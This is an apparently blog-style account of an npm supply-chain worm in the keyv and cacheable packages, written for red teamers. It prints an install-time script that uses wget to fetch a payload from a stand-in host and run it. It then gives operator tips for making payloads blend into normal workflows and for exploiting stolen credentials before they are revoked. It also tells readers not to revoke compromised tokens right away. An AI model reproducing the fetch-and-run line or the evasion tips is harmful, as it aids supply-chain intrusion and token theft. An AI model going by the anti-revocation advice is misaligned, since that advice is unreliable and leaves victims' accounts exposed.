Don’t Revoke That Token Yet: Inside the keyv/cacheable npm Worm

The keyv/cacheable npm worm incident revealed a sophisticated attack targeting the npm package ecosystem, exploiting developer habits and tooling dependencies. By manipulating repository access and supply chain facets, this attack bypassed conventional security responses. Let’s delve into how it unfolded, the intricacies of its operation, and why standard measures like token revocation might be counterproductive.

Campaign or TTP Overview

In September 2023, researchers uncovered a pernicious worm embedded within the npm packages keyv and cacheable-lookup, targeting developers and CI/CD pipelines primarily involved in JavaScript environments. This worm spread via package dependencies, relying on its presence within a trusted ecosystem to propagate throughout the supply chain. While no specific nation-state was identified, the attack’s sophistication suggests an advanced persistent threat actor.

The campaign highlighted how attackers leveraged the decentralized nature of open-source contributions to infiltrate projects. It impacted developers globally, introducing malicious scripts through routine updates and package installs. The compromised packages collected npm credentials, aggressively exploiting them to spread the attack across other projects with shared dependencies.

How It Was Built

The worm’s architecture was designed to be resilient and self-replicating. The threat actor gained access to the npm accounts associated with key maintenance-worthy packages and injected malicious code.


// Part of the injected malicious script

const {execSync} = require('child_process');

const maliciousScript = 'wget http://malicious.com/payload.js -O /tmp/payload.js && node /tmp/payload.js';

execSync(maliciousScript);

The malicious code executed upon package installation, obtaining developer tokens and uploading them to the attacker’s server. The code also checked for linked projects and initiated its installation sequence recursively, ensuring widespread propagation.

Lure content was minimal since the attack vector hinged on automated dependency management systems, exploiting seamless developer workflows. The worm’s infrastructure involved domains that mimicked legitimate hosting services to evade detection early in the attack lifecycle.

Why It Worked

The attack’s success rested on several factors:

Trust Exploitation: By embedding code in established packages, the worm leveraged inherent trust in known dependencies.
Stealth and Timing: The timing of updates aligned with normal release cycles, reducing suspicions. Its execution was silent, with activities closely mirroring standard scripts used in development environments.
Token Misuse Strategy: Targeting npm tokens provided broad access to repositories, and immediate revocation after discovery would prevent necessary forensic analysis, potentially hindering containment strategies. This was contrary to knee-jerk revocation actions in typical breach scenarios, which would fail to control spread without a full scope understanding.

Operator Takeaways

As a red teamer, draw from this campaign’s lessons to improve your tactics:

Supply Chain Infiltration: Investigate the potential of secondary packages in dependency chains as viable entry points.
Behavioral Alignment: Engineer your payloads to execute within the typical workflows and timing of target environments.

Consider how comprehensive analysis of obtained credentials enhances traditional breach responses, ensuring you capitalize on the complete range of compromised elements before any restrictive measures like revocation are employed.

Do’s and Don’ts

Do: Develop payloads which mirror standard operational scripts and align with established environment behaviors.
Don’t: Default to token revocation without first understanding and capturing full operational logs. Immediate revocation can burn analyses and limit recovery data.